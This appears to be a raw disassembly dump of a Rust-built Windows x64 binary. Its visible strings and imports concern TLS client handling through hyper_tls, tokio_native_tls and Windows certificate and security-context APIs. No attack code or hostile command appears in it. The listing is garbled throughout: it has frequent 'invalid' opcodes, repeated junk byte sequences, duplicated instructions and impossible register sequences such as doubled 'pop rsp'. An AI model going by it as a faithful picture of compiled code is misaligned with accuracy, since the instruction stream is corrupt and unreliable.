xchg ebp, eax
invalid
mov r14, qword [rbp + 0xde8]
mov rax, qword [rbp + 0xc80]
mov qword [rbp + 0x8b0], rax
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rbp + 0xc70]
movaps xmmword [rbp + 0x8a0], xmm0
lea rcx, [rbp + 0x178]
lea rdx, [rbp + 0x348]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0x4a], 0
cmp qword [rdi], 0
je 0x14012148c
mov rax, qword [rbp + 0xe10]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rax, qword [rbp + 0xe10]
mov rcx, qword [rax + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rdi, qword [rbp + 0xe10]
cmp qword [rdi + 0x38], 0
jne 0x1401213a0
invalid
jmp 0x1401213b3
mov r12, qword [rbp + 0xa88]
movups xmm0, xmmword [rbp + 0xa90]
movaps xmmword [rbp + 0xd50], xmm0
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0xd60], rax
mov r13, qword [rbp + 0xaa8]
mov ebp, dword [rbp + 0xaa8]
mov ebp, dword [rbp + 0xaa8]
lea rdx, [rbp + 0xab0]
lea rdi, [rbp + 0x518]
add byte [rax], al
add byte [rax], al
mov r8d, 0xf0
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbp + 0xd50]
movaps xmmword [rbp + 0xcb0], xmm0
mov rax, qword [rbp + 0xd60]
add byte [rax - 0x77], cl
test eax, eax
or al, 0
add byte [rax - 0x73], cl
lea ebx, [rax]
invalid
add byte [rax], al
mov r8d, 0xf0
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbp + 0xe10]
mov qword [rdi + 0x218], r12
movaps xmm0, xmmword [rbp + 0xcb0]
movups xmmword [rdi + 0x220], xmm0
mov rax, qword [rbp + 0xcc0]
mov qword [rdi + 0x230], rax
add byte [rax - 0x77], cl
test eax, eax
or al, 0
add byte [rax - 0x73], cl
lea ebx, [rax]
invalid
mov qword [rdi + 0x238], r13
lea rdx, [rbp + 0x720]
mov r8d, 0xe8
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
invalid
add byte [rcx + rcx*4 - 0x41], cl
or byte [rdx], al
add byte [rax], al
mov qword [rdi + 0x210], rbx
mov qword [rdi + 0x240], 0
mov rax, qword [rbp + 0xdd0]
mov byte [rax], 4
mov rdi, qword [rbp + 0xe10]
invalid
mov rax, qword [rbp + 0xdf8]
mov byte [rax], 3
mov qword [rsi], 4
mov dword [rsi], 4
mov dword [rsi], 4
mov al, 4
mov byte [rdi + 0x49], al
mov rax, rsi
add rsp, 0xea8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp byte [rdi + 0x1b], 0
sbb eax, dword [rax]
je 0x14012169b
mov rcx, qword [rdi + 0x10]
mov byte [rbp + 0xe1f], 1
test dword [rdi], ebx
invalid
add byte [rax], al
add esi, eax
test dword [rsi], ebx
invalid
add byte [rax], al
add edi, edi
adc eax, 0x6de9c
add byte [rax - 0x77], cl
invalid
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test dword [rdi], ebx
invalid
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x75], cl
or eax, 0x11ac5b
test rcx, rcx
leave
jne 0x14012161b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140121e7a
invalid
fiadd dword [rsi]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
imul ecx, dword [rax], 0x89480000
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov rcx, rax
mov qword [0x14023c258], rax
adc dword [rax], eax
ror dword [rax - 0x77], 5
cmp eax, 0x410011ac
adc dword [rax], eax
mov r8d, 0x18
adc dword [rax], eax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140121e7a
test byte [rax + 8], cl
add byte [rax], al
mov qword [rax], 1
mov qword [rax + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
js 0x140121655
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
or byte [rcx], al
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
js 0x140121655
mov rcx, qword [rbp + 0xd78]
lea rdi, case.0x14011130f.467
test rcx, rcx
invalid
leave
je 0x14012167f
lock dec qword [rcx]
jne 0x14012167f
mov qword [rbp + 0xe00], rax
mov rcx, qword [rbp + 0xd78]
test dword [rax], eax
invalid
add byte [rax - 0x75], cl
lea edi, [rax + 0xd]
add byte [rax], al
mov rdx, qword [rbp + 0xd80]
call fcn.14006cb50
invalid
mov ah, 0xf4
invalid
fdiv dword [rsp + rsi*8 - 0x7a74b701]
add byte [rsi], cl
add byte [rax], al
invalid
mov rax, qword [rbp + 0xe00]
add byte [rax - 0x77], cl
test dword [rax + 0xd], edi
add byte [rax], al
mov qword [rbp + 0xd78], rax
mov qword [rbp + 0xd80], rdi
mov ebp, 0xd80
mov rbx, qword [rbp + 0xd00]
movzx eax, byte [rbp + 0xda0]
add byte [rdi], cl
adc byte [rbp + 0xc18], al
movups xmm0, xmmword [rbp + 0xc18]
movups xmm1, xmmword [rbp + 0xc28]
movups xmm2, xmmword [rbp + 0xc38]
adc byte [rbp + 0xc38], dl
adc byte [rbp + 0xc38], dl
movaps xmmword [rbp + 0xa60], xmm2
movaps xmmword [rbp + 0xa50], xmm1
or al, byte [rax]
add byte [rdi], cl
sub dword [rbp + 0xa50], ecx
movaps xmmword [rbp + 0xa40], xmm0
xor r8d, r8d
rol byte [rax + rax*8 + 0x60858b48], 0xd
add byte [rax], al
rol byte [rax + rax*8 + 0x60858b48], 0xd
add byte [rax], al
add byte [rdi + rcx + 0x45], cl
ror byte [rax - 0x77], 0x9d
popfq
cmovne r8, rax
cmovne eax, eax
mov qword [rbp + 0xcf8], rbx
test rax, rax
cmove r8, rax
cmove eax, eax
popfq
clc
or al, 0
add byte [rax - 0x7b], cl
ror byte [rdi + rcx + 0x44], 0xc0
cmove eax, eax
cmove eax, eax
ror byte [rbx + rcx*4 - 0x73], 0x88
or eax, 0x8b480000
test dword [rax - 0x39fffff3], ebx
invalid
test dword [rdi], ecx
mov r9, qword [rbp + 0xd88]
mov rax, qword [rbp + 0xd98]
mov byte [rbp + 0xe0f], 1
mov byte [rbp + 0xe0e], 1
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x900]
or dword [rax], eax
add byte [rax - 0x77], cl
invalid
call fcn.140148680
mov rax, qword [rbp + 0x910]
add byte [rax], al
invalid
or dword [rax], eax
add byte [rax - 0x77], cl
invalid
add byte [rax], al
cmp rax, 2
jne 0x140121780
mov rax, qword [rbp + 0x900]
mov qword [rbp + 0xa78], 2
mov dword [rbp + 0xa78], 2
mov dword [rbp + 0xa78], 2
mov qword [rbp + 0xa80], rax
mov qword [rbp + 0xa70], 1
jo 0x140121748
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jo 0x140121748
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov byte [rbp + 0xe1a], 1
lea rcx, [rbp + 0xa40]
lea ecx, [rbp + 0xa40]
add byte [rax], al
add dword [rax - 0x73], ecx
lea ecx, [rbp + 0xa40]
lea ecx, [rbp + 0xa40]
call fcn.140108d10
lock dec qword [rbx]
jne 0x140121b73
mov rcx, qword [rbp + 0xcf8]
mov byte [rbp + 0xe1f], 0
mov byte [rbp + 0xe1e], 0
call fcn.140109c20
jmp 0x140121b73
mov qword [rbp + 0xd40], rax
mov eax, dword [rbp + 0x918]
mov qword [rbp + 0xe00], rax
mov rax, qword [rbp + 0x920]
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x77], cl
test eax, esi
or eax, 0x280f0000
test dword [rax], eax
or dword [rax], eax
add byte [rax - 0x77], cl
popfq
adc byte [rax + rax], cl
add byte [rdi], cl
sub dword [rbp + 0xa30], eax
add byte [rbx + 0x91885], cl
add byte [rax - 0x77], cl
test dword [rax], eax
invalid
test dword [rax], esp
or dword [rax], eax
add byte [rax - 0x77], cl
test eax, esi
or eax, 0x280f0000
test dword [rax], eax
or dword [rax], eax
add byte [rax - 0x77], cl
popfq
adc byte [rax + rax], cl
add byte [rdi], cl
sub dword [rbp + 0xa30], eax
cmp qword [rbp + 0xd50], 0
je 0x140121875
add byte [rax], al
add byte [rdi], cl
test byte [rax + 0x48000000], dh
mov ecx, dword [rbp + 0xd58]
mov rcx, qword [rbp + 0xd58]
mov byte [rbp + 0xe0d], 1
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rbp + 0xd10], rax
mov edi, 1
mov r14, qword [rbp + 0xd60]
test r14, r14
mov qword [rbp + 0xd08], rdi
je 0x14012188e
mov r12, qword [rbp + 0xd70]
mov eax, 2
test r12, r12
mov qword [rbp + 0xd18], r12
je 0x14012185b
mov rcx, r12
shr rcx, 0x3e
jne 0x140121e96
mov r15, r12
add r15, r12
je 0x14012185b
movzx eax, byte [0x14023c308]
mov edx, 2
mov rcx, r15
call fcn.140010630
test rax, rax
invalid
jne 0x14012185e
sal byte [rbp + 0x1c], 0xc6
test dword [rbx], ebx
invalid
mov byte [rbp + 0xe1b], 1
mov ecx, 2
mov rdx, r15
call fcn.140186620
jmp 0x140121ea2
add byte [rax], al
add byte [rax], al
xor r15d, r15d
mov rcx, rax
mov qword [rbp + 0xd48], rax
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140121897
xor edi, edi
mov r14, qword [rbp + 0xd60]
test r14, r14
test byte [rax - 0x77], 0xbd
or byte [0xc521188a], cl
outsb dx, byte [rsi]
invalid
invalid
invalid
xor eax, eax
mov qword [rbp + 0xd48], rax
mov rax, qword [rbp + 0xd40]
mov qword [rbp + 0xc48], r13
add byte [rdi], cl
mov dh, 0xbd
movabs al, byte [0xa1bdb60f4400000d]
invalid
add byte [rax], al
mov r12, qword [rbp + 0xd78]
test r12, r12
je 0x1401218e2
mov r13, qword [rbp + 0xd80]
lock inc qword [r12]
jle 0x140121e92
mov qword [rbp + 0xc00], r12
mov qword [rbp + 0xc08], r13
jmp 0x1401218ed
mov qword [rbp + 0xc00], 0
movups xmm0, xmmword [rbp + 0xc18]
add byte [rdi], cl
adc byte [rbp + 0xc28], cl
movups xmm1, xmmword [rbp + 0xc28]
movups xmm2, xmmword [rbp + 0xc38]
movaps xmmword [rbp + 0xa90], xmm2
sub dword [rbp + 0xa90], edx
cmp byte [rax + rax], cl
add byte [rdi], cl
sub dword [rbp + 0xa90], edx
movaps xmmword [rbp + 0xa80], xmm1
movaps xmmword [rbp + 0xa70], xmm0
or al, byte [rax]
add byte [rdi], cl
sub dword [rbp + 0xa70], eax
test rax, rax
je 0x1401219ba
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
int1
lea r14, [0x1401ea218]
mov byte [rax + rax], cl
cmp qword [rbp + 0xe00], 0
cmovne r14, qword [rbp + 0xdf0]
or eax, 0x55740000
or eax, 0x55740000
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test eax, 0x85480011
leave
test eax, 0x85480011
leave
jne 0x140121961
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
invalid
je case.0x1401156eb.272
sal byte [rcx + riz + 0x48], 0x89
ror dword [rax - 0x77], 5
imul dword [rax - 0x2dceffef]
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, qword [rbp + 0xe00]
add byte [rax], al
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
test rax, rax
jne 0x140121993
mov ecx, 1
mov rdx, qword [rbp + 0xe00]
call fcn.140186620
jmp 0x140121ea2
mov ecx, 1
mov rdx, r14
mov r14, rcx
mov r8, qword [rbp + 0xe00]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xdf0]
invalid
invalid
or eax, 0x15ff0000
fild dword [rsi]
invalid
invalid
test r14, r14
mov r8, r14
invalid
jne 0x1401219c9
invalid
mov r8d, 1
xor eax, eax
invalid
ror byte [rax - 0x77], 0x85
add byte [rsi], cl
add byte [rax], al
mov qword [rbp + 0xe00], rax
mov rdx, qword [rbp + 0xd88]
test rdx, rdx
test edx, edx
test edx, edx
je 0x140121a0d
mov qword [rbp + 0xd20], r8
mov r8, qword [rbp + 0xd98]
lea rcx, [rbp + 0x900]
add byte [rax], al
add byte [rax], al
call fcn.140111900
mov rax, qword [rbp + 0x900]
movups xmm0, xmmword [rbp + 0x908]
test dword [rax], ecx
or dword [rax], eax
add byte [rdi], cl
sub dword [rbp + 0x870], eax
test dword [rax], ecx
or dword [rax], eax
add byte [rdi], cl
sub dword [rbp + 0x870], eax
mov r8, qword [rbp + 0xd20]
jmp 0x140121a0f
or eax, 0x2eb0000
xor eax, eax
movaps xmm0, xmmword [rbp + 0xa70]
movaps xmm1, xmmword [rbp + 0xa80]
add byte [rdi], cl
sub byte [rbp + 0xa90], dl
add byte [rdi], cl
sub byte [rbp + 0xa90], dl
movups xmmword [rbp + 0x930], xmm2
movups xmmword [rbp + 0x920], xmm1
adc dword [rbp + 0x920], ecx
adc dword [rbp + 0x920], ecx
movups xmmword [rbp + 0x910], xmm0
movaps xmm0, xmmword [rbp + 0x870]
movups xmmword [rbp + 0xa10], xmm0
movaps xmm0, xmmword [rbp + 0xa30]
mov rcx, qword [rbp + 0xd08]
mov qword [rbp + 0x900], rcx
add byte [rax - 0x75], cl
lea edx, [rax]
or eax, 0x89480000
lea ecx, [rax]
or byte [rcx], cl
add byte [rax], al
add byte [rax - 0x75], cl
lea edx, [rax]
or eax, 0x89480000
lea ecx, [rax]
or byte [rcx], cl
add byte [rax], al
mov dword [rbp + 0x940], 0x10000
or byte [rcx], cl
add byte [rax], al
mov dword [rbp + 0x940], 0x10000
mov byte [rbp + 0x944], 0
test dword [rcx + rcx], eax
or dword [rax], r8d
add byte [rax], al
mov qword [rbp + 0x958], rbx
mov qword [rbp + 0x960], 1
xorps xmm1, xmm1
movups xmmword [rbp + 0x968], xmm1
mov qword [rbp + 0x978], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x980], 1
movups xmmword [rbp + 0x988], xmm1
add byte [rdi], cl
adc dword [rbp + 0x988], ecx
mov qword [rbp + 0x998], 0
mov qword [rbp + 0x9a0], r8
mov rcx, qword [rbp + 0xe00]
mov qword [rbp + 0x9a8], rcx
test al, 9
add byte [rax], al
test al, 9
add byte [rax], al
mov qword [rbp + 0x9b0], rcx
mov qword [rbp + 0x9b8], 0
movups xmmword [rbp + 0x9c0], xmm0
mov rcx, qword [rbp + 0xd48]
mov qword [rbp + 0x9d0], rcx
mov rcx, qword [rbp + 0xd18]
mov qword [rbp + 0x9d8], rcx
mov qword [rbp + 0x9e0], rcx
add byte [rcx + rcx*4 - 0x5b], cl
call 0x18c121b21
mov dword [rbp + 0x9f0], ebp
lock or dword [rax], eax
invalid
add byte [rcx + rcx*4 - 0x5b], cl
call 0x18c121b21
mov dword [rbp + 0x9f0], ebp
lock or dword [rax], eax
invalid
lock or dword [rax], eax
add byte [rax - 0x39], cl
test eax, edi
or dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0xa08], rax
mov byte [rbp + 0xa20], dil
mov qword [rbp + 0x9f8], 1
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0xa08], rax
mov byte [rbp + 0xa20], dil
mov byte [rbp + 0xa21], r15b
mov word [rbp + 0xa22], 0x100
add byte [rcx], al
add byte [rcx], al
mov byte [rbp + 0xe0c], 0
lea rcx, [rbp + 0xa70]
lea rdx, [rbp + 0x900]
call fcn.1401229e0
mov r13, qword [rbp + 0xc48]
mov r14, qword [rbp + 0xa70]
test r14, r14
je 0x140121bbc
mov rdi, qword [rbp + 0xa78]
add byte [rax], al
mov rbx, qword [rbp + 0xa80]
cmp rdi, 2
je 0x140121bac
lea rdx, [rbp + 0xa88]
lea rcx, [rbp + 0x900]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x518]
lea rdx, [rbp + 0x900]
jmp 0x140121bd8
mov rdi, qword [rbp + 0xa78]
mov rbx, qword [rbp + 0xa80]
lea rdx, [rbp + 0xa88]
or al, byte [rax]
add byte [rax - 0x73], cl
lea ebx, [rax]
invalid
add byte [rax], al
or al, byte [rax]
add byte [rax - 0x73], cl
lea ebx, [rax]
add eax, 0xb8410000
sbb byte [rcx], al
add byte [rax], al
invalid
mov r8d, 0x118
add al, ch
clc
invalid
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd50]
call fcn.140111760
mov byte [rbp + 0xe1c], 0
lea rcx, [rbp + 0xcb0]
call fcn.140111610
lea rcx, [rbp + 0x718]
lea ebx, [rax]
invalid
add byte [rax], al
lea rdx, [rbp + 0x518]
mov r8d, 0x118
add byte [rax], al
lea ebx, [rax]
invalid
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
test r14, r14
je case.0x140119330.46
cmp rdi, 2
je 0x140120d08
lea rcx, [rbp + 0xa70]
lea rdx, [rbp + 0x718]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0xa70]
movups xmm1, xmmword [rbp + 0xa80]
movaps xmmword [rbp + 0xba0], xmm0
movaps xmmword [rbp + 0xbb0], xmm1
mov rax, qword [rbp + 0xa90]
mov qword [rbp + 0xbc0], rax
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x630]
xor byte [rsi], al
add byte [rax], al
xor byte [rsi], al
add byte [rax], al
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
push rbp
invalid
invalid
add byte [rcx - 0x41], al
mov edi, 1
push rbp
invalid
mov edi, 1
jmp 0x140120d11
lea rcx, [rbp + 0xa70]
lea rdx, [rbp + 0x718]
sbb byte [rdi], al
add byte [rax], al
mov r8d, 0x118
sbb byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0xa70]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rbp + 0xa80]
or al, byte [rax]
add byte [rdi], cl
movaps xmmword [rbp + 0xba0], xmm0
movaps xmmword [rbp + 0xba0], xmm0
movaps xmmword [rbp + 0xbb0], xmm1
mov rax, qword [rbp + 0xa90]
invalid
nop
or al, byte [rax]
add byte [rax], al
test dword [rax + 0x4800000a], edx
mov dword [rbp + 0xbc0], eax
nop
or al, byte [rax]
add byte [rax], al
mov qword [rbp + 0xbc0], rax
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x630]
add byte [rax], al
mov qword [rbp + 0xbc0], rax
lea rdx, [rbp + 0xaa0]
or al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea esi, [rax]
invalid
lea rcx, [rbp + 0x630]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
add byte [rbp + 0x31], al
invalid
jmp 0x140120d11
add byte [rax], al
add al, ch
out dx, al
invalid
add byte [rbp + 0x31], al
invalid
mov byte [rbp + 0xe1d], 1
mov ecx, 1
mov rdx, rbx
call fcn.140186620
add byte [rax - 0x77], cl
invalid
jmp 0x140121ea2
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, str.future_polled_after_completionC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
or eax, 0x96bfb
lea r8, [0x1401b8998]
add byte [rdx + 0x1e], bh
mov edx, 0x1e
call fcn.140186f60
jmp 0x140121ea2
invalid
add cl, ch
ja 0x140121d2a
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x96dee
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea ecx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
xchg edi, eax
insd dword [rdi], dx
or dword [rax], eax
mov edx, 0x22
call fcn.140186b70
invalid
invalid
add byte [rdi], cl
invalid
invalid
lea rcx, str._async_fn__resumed_after_completion
lea ecx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
insd dword [rdi], dx
or dword [rax], eax
mov edx, 0x23
call fcn.140186b70
add byte [rdi], cl
invalid
invalid
add byte [rdi], cl
or edi, dword [rcx + 8]
mov edx, 0x20
call fcn.140186620
invalid
invalid
invalid
jmp 0x140121ea2
lea rcx, str.future_polled_after_completionC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401bd9c0]
add eax, 0x9bc3f
add eax, 0x9bc3f
add byte [rdx + 0x1e], bh
mov edx, 0x1e
call fcn.140186f60
jmp 0x140121ea2
add cl, ch
adc al, byte [rcx]
add byte [rax], al
mov qword [rbp + 0xdb0], r10
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
invalid
insd dword [rdi], dx
or dword [rax], eax
lea r8, [0x1401b9960]
add eax, 0x97bbb
invalid
add eax, 0x97bbb
add byte [rdx + 0x22], bh
mov edx, 0x22
call fcn.140186b70
jmp 0x140121ea2
mov qword [rbp + 0xdb0], r10
lea rcx, str._async_fn__resumed_after_completion
or dword [rax], eax
or dword [rax], eax
lea r8, [0x1401b9960]
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
and eax, dword [rax]
add byte [rax], al
call fcn.140186b70
jmp 0x140121ea2
invalid
mov byte [rbp + 0xe1f], 1
mov byte [rbp + 0xe1e], 1
mov ecx, 8
add byte [rdx + 0x10], bh
add byte [rdx + 0x10], bh
call fcn.140186620
jmp 0x140121ea2
add byte [rdx + 8], bh
or byte [rax], al
add byte [rax], al
call fcn.140186620
jmp 0x140121ea2
mov rax, qword [rbp + 0xdf8]
mov qword [rbp + 0xd38], rax
mov qword [rbp + 0xd30], r10
or eax, 0x89480000
xchg ebp, eax
sub byte [0xcd5a1e2c], cl
or eax, 0x96cef
or eax, 0x89480000
xchg ebp, eax
sub byte [0xcd5a1e2c], cl
or eax, 0x96cef
lea r8, [0x1401b99c0]
mov edx, 0x22
mov byte [rbx + 9], bh
add byte [rdx + 0x22], bh
call fcn.140186b70
jmp 0x140121ea2
mov rax, qword [rbp + 0xdf8]
mov qword [rbp + 0xd38], rax
mov qword [rbp + 0xd30], r10
mov qword [rbp + 0xd28], rdx
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1401b99c0]
mov edx, 0x23
call fcn.140186b70
jmp 0x140121ea2
mov qword [rbp + 0xdd0], rdi
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x140121ea2
ud2
mov byte [rbp + 0xe1b], 1
call fcn.1400106d0
ud2
mov qword [rbp + 0xd50], 1
mov rax, qword [rbp + 0xdf0]
mov qword [rbp + 0xd58], rax
invalid
add byte [rax], al
mov byte [rbp + 0xe1f], 1
mov byte [rbp + 0xe1e], 1
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
invalid
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
test dword [rax], eax
add byte [rsi], cl
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
test dword [rax], eax
add byte [rsi], cl
mov qword [rbp + 0xd78], rax
lea rax, [0x1401bdc58]
mov qword [rbp + 0xd80], rax
or byte [0xc5d8213b], 0x1f
invalid
add byte [rax], al
add esi, eax
test dword [rsi], ebx
invalid
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov byte [rbp + 0xe1f], 1
mov byte [rbp + 0xe1e], 1
invalid
add byte [rax], al
add dword [rax - 0x75], ecx
invalid
ror byte [0x17afa2193], 1
or byte [rax], al
add dh, al
test dword [rdi], ebx
invalid
add byte [rax], al
add esi, eax
test dword [rsi], ebx
invalid
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
sub byte [rbx + 0x5f], bl
invalid
test dword [rsi], ebx
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rdi], cl
mov dh, 0x9d
or eax, 0x4800000e
lea ecx, [rbp + 0xa30]
xor byte [rdx], cl
add byte [rax], al
add byte [rax], 0
add byte [rdi], cl
mov dh, 0x9d
or eax, 0x4800000e
lea ecx, [rbp + 0xa30]
xor byte [rdx], cl
add byte [rax], al
xor byte [rdx], cl
add byte [rax], al
or al, byte [rax]
add al, ch
jno 0x140122267
call sub.secur32.dll_DeleteSecurityContext
lea rcx, [rbp + 0xc10]
add byte [rax], al
invalid
dec dword [rax - 0x73]
lea edx, [rax]
or al, 0
invalid
add byte [rax], al
add al, ch
invalid
call case.0x140110e31.293
mov byte [rbp + 0xe0c], bl
popfq
or al, 0xe
add byte [rax], al
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
nop dword cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
sbb ecx, dword [rsi]
movzx ebx, byte [rbp + 0xe1b]
add byte [rax], al
add byte [rax - 0x75], cl
lea ecx, [rax]
or eax, 0x8b480000
add byte [rax], al
invalid
invalid
mov rcx, qword [rbp + 0xd08]
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0xd10]
xchg ebp, eax
adc byte [0x15afa2253], cl
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, ch
sbb bh, byte [rdx - 2]
call fcn.140109c70
jp 0x140122253
dec dword [rax + 0xe0d9d]
add byte [rax - 0x7d], cl
invalid
mov byte [rbp + 0xe0d], bl
add rsp, 0x28
add esp, 0x28
popfq
or eax, 0x4800000e
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rcx + 1], bh
add byte [rax], al
invalid
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rcx + 1], bh
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], dh
shr al, cl
mov eax, 0xb9fff23d
cmp eax, 0x1b9fff2
add byte [rax], al
invalid
add byte [rax], al
xor edx, edx
call fcn.140046050
cmp eax, 0x1b9fff2
add byte [rax], al
invalid
cmp eax, 0x1b9fff2
add byte [rax], al
invalid
add byte [rcx], dh
shr al, cl
xor edx, edx
call fcn.140046050
invalid
lodsb al, byte [rsi]
cmp eax, 0x8d48fff2
dec dword [rax - 0x73]
dec dword [rax - 0x73]
lea rcx, [rbp + 0xa70]
lea esi, [rax + 0xa]
add byte [rax], al
invalid
add al, ch
nop
call fcn.140109d40
jp case.0x14010aa3a.491
dec dword [rax - 0x73]
lea rcx, [rbp + 0xc00]
lea ecx, [rbp + 0xc00]
lea eax, [rax]
or al, 0
add al, ch
call fcn.140078730
mov rcx, qword [rbp + 0xd48]
invalid
invalid
add byte [rax], al
je 0x14012231e
cmc
cmc
dec dword [rax - 0x75]
lea ecx, [rax + 0xd]
invalid
invalid
add byte [rax], al
or rax, 0xffffffff8b480000
or eax, 0x8b480000
mov rdx, qword [rbp + 0xd18]
mov edx, dword [rbp + 0xd18]
xchg ebp, eax
sbb byte [0x121fa22cc], cl
or eax, 0xe1e80000
add al, ch
loope 0x140122344
call fcn.140169ab0
ja 0x1401222d2
add al, 0
add dh, al
test dword [rbx], ebx
mov byte [rbp + 0xe1b], 0
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x10], edx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
